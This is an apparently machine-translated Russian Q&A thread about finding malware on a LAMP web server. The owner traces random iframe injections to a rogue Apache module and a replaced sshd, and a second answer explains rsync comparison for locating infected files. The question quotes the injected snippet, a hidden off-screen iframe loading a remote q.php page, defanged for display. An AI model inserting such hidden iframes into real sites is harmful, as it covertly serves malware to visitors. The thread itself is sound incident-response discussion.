Вредоносные программы: выявление и очистка вредоносного ПО на сайте LAMP

РЕДАКТИРОВАТЬ: Дополнительная информация / информация о расследовании содержится в комментариях к этому сообщению

Извиняюсь за расплывчатое название - было сложно подвести итог этого.

Недавно я обнаружил, что на одном из моих сайтов распространяются вредоносные программы. В результате я просмотрел все файлы в httpdocs и искал что-нибудь подозрительное, то есть вызывает shell_exec, eval, base64, passthru, включает в себя, требует, функции cookie в файлах PHP. Я также просмотрел все JS-файлы в поисках подозрительных методов, кроме того, поскольку аспекты сайта строятся из базы данных, я искал что-либо подозрительное (с помощью функции поиска phpmyadmin db для поиска оболочки php и т. Д. И типичных команд вредоносных программ js)

Все безрезультатно, я просто не могу найти, где это. В результате я перезагружал все файлы для программного обеспечения, которое я запускаю, и эффективно переустанавливал файлы сайта. У меня также было программное обеспечение для проверки и проверки, они также не смогли ничего найти.

Это оставляет меня с выводом, что что-то на более высоком уровне, то есть Apache, было скомпрометировано. Итак, вопрос в том, что я должен проверить здесь?

Я использую выделенный сервер, который обслуживает только этот сайт, и только у меня есть доступ (говорит он), поэтому я могу запустить все необходимое, чтобы помочь диагностировать это

Как вредоносное ПО представляет себя?

В мои теги периодически добавляется следующий код:

<style>
.iqb71l { position:absolute; left:-1958px; top:-1826px}
</style>
<div class="iqb71l"><iframe src="hXXp://1.1.1.1/f72387bd1dfab35f89f1899e1be07c08/q.php" width="198" height="501"></iframe></div> 

ПРИМЕЧАНИЕ. В приведенном выше примере кода я изменил "http" на "hXXp", а IP-адрес - на "1.1.1.1".

Однако код вводится не всегда, кажется, что он добавляется случайным образом. Кроме того, когда код действительно показывает IP-адрес, следующие guid и имя класса обычно различаются.

Кроме того, ни один из сканеров вредоносных программ (т. Е. Инструменты Google для веб-мастеров и т. Д. И т. Д. И т. П.) Не подхватывает это. Таким образом, я предполагаю, что это больше, чем просто инъекция, он случайным образом выбирает, когда представлять себя, он динамически выбирает адрес для инъекции и, по-видимому, невидим для ссылающихся на сканеры вредоносных программ.

Потратив много времени на Google, я не смог найти подобных примеров, однако нашел множество ссылок на веб-мастеров, спрашивающих о таинственном файле q.php, который появился на их сервере.

2 ответа

Решение

Отвечая на мой собственный вопрос здесь (который ни в коем случае не обесценивает ответ от JakeGould)

Я наконец нашел причину этого, а не рецензию, все это аккуратно резюмировано на этой странице:

http://blog.sucuri.net/2013/01/server-side-iframe-injections-via-apache-modules-and-sshd-backdoor.html

Используя руководство на этой странице (и связанные статьи), я посмотрел на загруженные модули Apache и обнаружил mod_view_proxy.so, который не является известным модулем Apache. Это загружалось в Apache через директиву LoadModule в /etc/httpd/conf.d/perl.conf. Все файлы были затронуты, поэтому отметка даты и времени на них не выглядит подозрительной. Как упоминается в блоге, SSHD также был заменен другой версией.

Относительно того, как это было скомпрометировано, я не совсем уверен - предполагается, что это было вызвано работающей и более старой версией vBulletin и / или одним из его плагинов (что полностью моя вина).

Также мне нужно дать этим парням свои взносы:

http://sucuri.net/

Как вы можете видеть из этой ветки, я исчерпал все свои идеи, а также свои технические возможности, поэтому в крайнем случае я отправился в Сукури со всем, что я знал и делал. Да, это платная услуга, но они нашли проблему, решили ее - их обслуживание было фантастическим. Они были искренне заинтересованы в том, чтобы помочь мне разобраться в этом вопросе, уровне обслуживания, который мы не часто видим в наши дни. У меня нет ничего, кроме похвалы за них, и я без колебаний рекомендую их всем, кто на моей должности.

Выявление вредоносного кода в PHP-коде - это кошмар. Но я собираюсь поделиться с вами некоторыми основными советами, которые я почерпнул, удалив более чем несколько из этих кошмаров.

Во-первых, есть ли у вас чистая версия сайта? Такие как staging версия, которая находится прямо рядом с production версию вы можете сравнить? Если это так, запустите rsync с проверкой CRC dry-run режим как это:

rsync -rvnc --exclude '.svn' --exclude 'xml' --exclude 'temp' --exclude 'tmp' --exclude 'cache' /clean/version/of/site/ /infected/version/of/site/

Обратите внимание, что я добавил несколько --exclude параметры, исключающие проверку известных каталогов temp & cache.

И если у вас нет чистой копии сайта для сравнения, просто загрузите версию PHP для чистой установки, которую вы используете, чтобы использовать ее в качестве базы для сравнения. Допустим, у вас есть сайт WordPress, который заражен? Загрузите точно такую ​​же версию WordPress и выполните сравнение Rsync, как описано выше.

Проведя сравнение Rsync CRC/Dry-Run в одиночку, он помог мне выследить инфекции и сразу же их вылечить. По сути, просмотрите список файлов, которые Rsync считает различными или новыми, один за другим, чтобы увидеть, заражены ли они. 9 раз из 10 вы найдете код, вставленный в конец файлов, который - из-за отсутствия лучшего термина - выглядит как мусор. Это будет инфекция.

Но пока не поглаживайте себя по спине. Изменения есть и другие инфекции. Во многих случаях как минимум 2 или 3 больше. Поэтому вручную просматривайте каждый файл, который Rsync объявляет другим, пока все не будет полностью очищено.

Вы не сказали, какой код PHP лежит в основе вашего сайта, но я бы также посоветовал обновить вашу установку до последней исправленной версии программного обеспечения. Скорее всего, вы не первый, и это известная проблема, поэтому исправление закроет дыры, через которые проходит вредоносное ПО с самого начала.

Да, и что касается проникновения вредоносных программ в вашу базу данных, это может быть отправной точкой, но чаще всего вредоносные программы проникают на ваш сайт, получая доступ пользователей через базу данных, а затем записывают вредоносные программы в кодовую базу PHP вашей файловой системы.

Другие вопросы по тегам